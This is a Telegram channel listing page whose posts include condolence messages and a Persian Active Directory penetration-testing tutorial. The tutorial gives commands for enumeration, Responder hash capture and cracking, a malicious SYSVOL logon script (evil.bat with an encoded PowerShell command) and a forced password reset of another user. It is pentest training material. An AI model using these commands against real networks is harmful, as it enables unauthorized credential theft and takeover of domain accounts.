⁪

Public

View Channel

Can't Join? @KavehOffSec

976 Members

Updated: May 7, 2026 at 11:03 AM

⁪

Red Team ( Network ) , with Kaveh

Join @KavehOffSec for exclusive kaveh and team content and discussions in 1

Ranking

Global Ranking

#456

Language Ranking

#45

Category Ranking

#23

-1

Participant Growth (Last 3 Days)

Total: 976

24h growth: +0 0%

Latest Posts

⁪

May 8, 2026, 02:18 AM

وطنم بوی غربت میده...

1,200

⁪

May 8, 2026, 02:18 AM

🖤 با عرض تسلیت مجدد به تمامی خانواده‌های داغدار ایران، امیدوارم ما را در این داغ شریک بدانید. 🥀

⚫️ درود ! امیدوارم که حال همه‌مان هرچند در این لحظه دشوار، به تدریج بهتر شود.

وضعیت اینترنت همان‌طور که می‌دانید، ناپایدار است و آینده‌اش نیز نامشخص به نظر می‌رسد. در این شرایط، ما با دلی اندوهگین تصمیم داریم بر روی محتوا تمرکز کنیم تا بتوانیم کمی از این فضای غم‌انگیز فاصله بگیریم و از فروپاشی روحی جلوگیری کنیم. با اینکه در این مدت تمایل چندانی به فعالیت نداشتم، اما معتقدم که انسانیت و احترام به یاد عزیزانی که دیگر در میان ما نیستند، از هر تخصصی مهم‌تر است.🕊

امروز که سی روز از فقدان این عزیزان است، بر خود لازم می‌دانیم که فعالیت‌های خود را آغاز کنیم. با وجود اینکه بسیاری از افراد هنوز نتوانسته‌اند به اینترنت متصل شوند، ما به یاد کسانی که دیگر در کنار ما نیستند، از ایموجی های 🥀 🖤 🕊 استفاده خواهیم کرد و از شما نیز دعوت می‌کنیم در مطالب خود از این ایموجی ها بهره ببرید و در ریکشن ها در کانال از 🕊 استفاده کنید .

به امید روزی که دیگر شاهد چنین حوادث تلخی در کشور عزیزمان ایران نباشیم و بتوانیم با همدلی و همبستگی، آینده‌ای روشن‌تر بسازیم.🥀🖤🕊

🥀 جهان یادگار است و ما رفتنی
🥀به گیتی نماند به جز مردمی

با احترام و همدردی 🖤🥀🕊
از طرف مجموعه TryHackBox

693

⁪

May 8, 2026, 02:18 AM

دوباره برگشتیم به فضای مجازی ولی با کلی غم... امیدوارم حال دلتون خوب باشه هرچند که می‌ دونیم چی به سرمون اومد. این چند روزه اون‌قدر تلخ گذشت که خودش یه کتابه؛ کتابی که هر صفحه‌اش فقط اشک و غصه‌ است. تسلیت میگم به همه‌ ی هموطنای عزیزم که این مدت داغ دیدن و سیاهپوش شدن 🖤🥀

1,550

⁪

May 8, 2026, 02:18 AM

الگوی نام‌گذاری (Naming Convention) - بخش پایانی

اگر فهرستی از نام‌های کاربری را در Active Directory پیدا کنیم، می‌توانیم با استفاده از الگوی نام‌گذاری، نام‌های کاربری احتمالی را حدس بزنیم.

برای مثال:

john smith -> jsmith, j.smith, john.smith
michael pole -> mpole, m.pole, michael.pole

ورود SSH با اعتبارنامه‌های Active Directory
ssh dc.example.com\\@sub.dc.example.com

تزریق اعتبارنامه‌ها به حافظه (Inject Credentials into Memory)
# /netonly: تمام ارتباطات شبکه‌ای از این اعتبارنامه‌های تزریق‌شده برای احراز هویت استفاده می‌کنند.
runas.exe /netonly /user:\ cmd.exe

پیکربندی DNS

PowerShell
$dnsip = ""
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

اکنون بررسی کنید که تنظیمات به‌درستی اعمال شده باشند:

nslookup dc.example.com

دانش پایه
مدیریت کاربران (User Management)
تفویض اختیار (Delegation)

در Active Directory، مدیر سیستم می‌تواند بدون اعطای دسترسی‌های کامل مدیریتی، مدیریت کاربران را در یک Organizational Unit (OU) به کاربر دیگری واگذار کند.

راه‌اندازی

ابزار Active Directory Users and Computers را باز کنید.

روی OU موردنظر راست‌کلیک کرده و گزینه Delegate Control… را انتخاب کنید.

در پنجره بازشده، نام کاربری را که می‌خواهید اختیار مدیریت به او واگذار شود وارد کنید.

وظایفی را که کاربر Delegation‌شده مجاز به انجام آن‌هاست انتخاب کنید.

روی OK کلیک کنید.

مدیریت کاربران (Manage Users)

با کاربر Delegation ‌شده وارد سیستم شوید.
برای مثال، اگر بخواهید رمز عبور کاربر john را ریست کنید، دستور زیر را در PowerShell اجرا کنید و سپس رمز عبور جدید را در پنجره درخواست‌شده وارد نمایید:
Set-ADAccountPassword john -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

اولین باری که John پس از این تغییر وارد سیستم می‌شود، می‌خواهیم مجبور شود رمز عبور دلخواه خودش را (نه رمزی که شما تعیین کرده‌اید) تنظیم کند. برای این کار دستور زیر را اجرا کنید:

Set-ADUser -ChangePasswordAtLogon $true -Identity john -Verbose

اکنون زمانی که John وارد سیستم شود، از او خواسته می‌شود رمز عبور جدیدی انتخاب کند.

رهگیری احراز هویت NetNTLM (Intercept NetNTLM Authentication)

ابزار Responder را اجرا کنید تا به درخواست‌های LLMNR، NBT-NS و WPAD گوش دهد.

sudo responder -I 

خب Responder را در حال اجرا نگه دارید تا زمانی که درخواست‌هایی دریافت شود.
اگر هش NTLM دریافت کردید، آن را روی سیستم محلی کرک کنید.

echo -n '' > hash.txt
john --format=netntlmv2 --wordlist=wordlist.txt hash.txt
#AD

⁪

May 8, 2026, 02:18 AM

تست نفوذ Active Directory - بخش سوم

آپلود داده‌های جمع‌آوری‌شده

پس از اجرا، فایل‌های نتیجه با پسوند (*.json) در دایرکتوری فعلی تولید می‌شوند. تمام این فایل‌های JSON را در BloodHound داخل مرورگر وب آپلود کنید.

می‌توانیم روابط موجود در Active Directory را بررسی کنیم.

بررسی Investigation

# فهرست تمام کاربران
net user /domain
net user  /domain
Get-ADUser -Filter *
Get-ADUser -Identity  -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A

# فهرست تمام گروه‌ها
net group /domain
net group "" /domain
PS> Get-ADGroup -Identity  -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity  -Server dc.example.com

# نمایش سیاست رمز عبور
net accounts /domain

# لیست Object Active Directory
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com

# دریافت اطلاعات مربوط به دامنه مشخص‌شده
Get-ADDomain -Server dc.example.com

# تغییر رمز عبور کاربر Active Directory
Set-ADAccountPassword -Identity  -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)

# SYSVOL - یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره می‌کند.
dir \\dc.example.com\SYSVOL\
سوءاستفاده از اسکریپت لاگین برای کاربران دیگر

اگر کاربر فعلی مجوز نوشتن اسکریپت‌ها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت لاگین سایر کاربران را تغییر دهیم.
# 1. Check the permission
icacls C:\Windows\SYSVOL\sysvol\example.local\scripts\

# 2. Modify/Add a malicious script
'powershell -e ' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\scripts\evil.bat

# 3. Set logon script for the specified user
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\scripts\evil.bat
وقتی کاربر دیگر وارد سیستم شود (Log on)، فایل .bat اجرا خواهد شد.

Force Change Password Attack
اگر به نام کاربری/رمز عبور یک حساب دسترسی پیدا کنیم و نام کاربری حساب‌های دیگر را هم بدانیم، ممکن است بتوانیم رمز عبور کاربران دیگر را تغییر دهیم. برای انجام این کار، کاربر باید مجوز GenericAll را برای تغییر رمز عبور سایر کاربران داشته باشد.

توضیح پارامترها:

-U:
اعتبارنامه کاربری که مجوز تغییر رمز عبور کاربر دیگر را دارد
-I:
آدرس IP تارگت

-S:
نام سرور تارگت
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE. LOCAL"
این دستور رمز عبور کاربر تارگت را با استفاده از دسترسی کاربری که مجوز لازم را دارد، به‌صورت اجباری تغییر می‌دهد.

Microsoft Management Console (mmc)
برای راه‌اندازی و پیکربندی Active Directory، مراحل زیر را دنبال کنید:

روی آیکون ویندوز راست‌کلیک کنید.
روی Run کلیک کرده و عبارت mmc را وارد کنید، سپس OK را بزنید.
در پنجره MMC، روی File → Add or Remove Snap-ins کلیک کنید.
هر سه Snap-in مربوط به Active Directory را اضافه کنید.
در پنل سمت چپ، روی Active Directory… راست‌کلیک کرده و گزینه Change Forest را انتخاب کنید.
نام دامنه را به‌عنوان Root domain وارد کرده و روی OK کلیک کنید.
از منوی بالا روی View → Advanced Features کلیک کنید.

#AD

⁪

May 8, 2026, 02:18 AM

تست نفوذ Active Directory - بخش دوم

جمع‌آوری داده‌ها
گزینه ۱: استفاده از NetExec
اگر از قبل NetExec روی سیستم شما نصب است، به نظر من این ساده‌ترین راه است.
netexec ldap  -d example.local -u username -p password --dns-server  --bloodhound -c All
گزینه ۲: استفاده از http://BloodHound.py/

همچنین می‌توانیم از http://BloodHound.py/ استفاده کنیم.
آن را به شکل زیر نصب کنید:
python3 -m venv .venv
source .venv/bin/activate
pipx install bloodhound # یا به‌جای 'pipx' از 'pip3' استفاده کنید
bloodhound-python -h
سپس داده‌ها را جمع‌آوری کنید:
# -d: دامنه (Domain)
# -u: نام کاربری (Username)
# -p: رمز عبور (Password)
# -dc: دامین کنترلر (Domain Controller)
# -c all: جمع‌آوری تمام داده‌ها
# -ns: تعیین nameserver جایگزین
bloodhound-python -d example.local -u username -p password -dc dc.example.local -c all -ns ns.example.local

#اگر نتوانستیم دامنه را resolve کنیم، می‌توانیم از dnschef برای ساخت یک DNS جعلی به‌صورت پراکسی استفاده کنیم:
sudo python3 dnschef.py --fakeip  --nameserver 
#AD

2,200

⁪

May 8, 2026, 02:18 AM

تست نفوذ Active Directory - بخش اول

اکتیودایرکتوری (AD) یک سرویس دایرکتوری است که توسط مایکروسافت برای شبکه‌های دامینی ویندوز توسعه داده شده است.

شناسایی (Enumeration)
کشف Domain Controllerها
dig @ example.local ANY
gobuster dns -d example.local -w subdomains.txt -t 25
شمارش یا enum با BloodHound
1. اجرای BloodHound
ما از https://github.com/SpecterOps/BloodHound استفاده می‌کنیم.

دستور زیر Docker Compose مربوط به BloodHound را اجرا می‌کند:
curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker-compose down -v # اگر می‌خواهید پسورد BloodHound را ریست کنید
sudo docker-compose pull && sudo docker-compose up
بعد از اجرا، رابط وب از طریق مرورگر و آدرس زیر در دسترس است:

http://localhost:8080
با نام کاربری admin و پسوردی که هنگام اجرای دستور در لاگ نمایش داده میشود لاگین کنید.

برای مشخص کردن IP و پورت دلخواه، متغیرهای محیطی زیر را روی ماشین اتک تنظیم کنید:
export BLOODHOUND_HOST=10.0.0.1
export BLOODHOUND_PORT=8090
ادامه دارد ...
#AD

1,320

⁪

May 8, 2026, 02:18 AM

🔥 در مناسبت شب چله، یا همانطور که در دوره ساسانی به آن گفته میشد «زایش مِهر»، به یاد ایزد مِهر، که خود پیمان مقدس است، که تابش خورشیدی است که انسان را به فرّ و خورشید، به وسپار اورمزد، و تمامی مردمان خوب را به هم متصل میکند، باشد که خجسته باشی، چله خجسته باد!

🔥 جشن شب چله، شب گردهمایی خانوادگی و دور هم بودن و شادمانی خویشاوندان و شاهنامه خوانی و فال حافظ گرفتن، فرخنده باد

911

⁪

May 8, 2026, 02:18 AM

https://x.com/KavehxNet/status/1997086638183153881?s=20 در عملیات Red Teaming(از کتاب Red Team Guide) هر کامند زیر رو با تمرکز بر کاربرد عملی در فازهای استاندارد MITRE ATT&CK توضیح دادم. این توضیحات کمک میکنن بفهمید هر ابزار چطور توی عملیات واقعی تست نفوذ کمک میکنه.

کامندها بر اساس کتاب

توضیحات: تحلیل شخصی + تجربهٔ عملیاتی

مطالعه در https://x.com/KavehxNet/status/1997086638183153881?s=20

View on X (Twitter)

2,420

⁪

May 8, 2026, 02:18 AM

https://lnkd.in/eNM2Jmhy

1,020

Showing 10 of 10 posts

No more posts

Loading posts...

Rating

User Reviews (0)

No reviews yet. Be the first to share your experience!

Loading reviews...

Related Telegram Channels

prometeustrading

IT, CS, Networking, MS-Office, Cloud , Programming, Linux, CCNA, MCSA all pdf, books, interview preparation

2.9k0

Loading recommended channels...

⁪

⁪

Ranking

Participant Growth (Last 3 Days)

Latest Posts

Rating

User Reviews (0)

Related Telegram Channels

prometeustrading

laninjacommunity

NFT Directory

Quant Signals Public

ForU AI Channel | World's First AI Identity Economy | ฅ^◡ ⩊ ◡^ฅ

Houston Furry Meets (HFN)

STUD--Talks Channel

IT, CS, Networking, MS-Office, Cloud , Programming, Linux, CCNA, MCSA all pdf, books, interview preparation

Related Telegram Channels

prometeustrading

laninjacommunity

NFT Directory

Quant Signals Public

ForU AI Channel | World's First AI Identity Economy | ฅ^◡ ⩊ ◡^ฅ

Houston Furry Meets (HFN)

STUD--Talks Channel

IT, CS, Networking, MS-Office, Cloud , Programming, Linux, CCNA, MCSA all pdf, books, interview preparation

User Reviews (0)

Latest Posts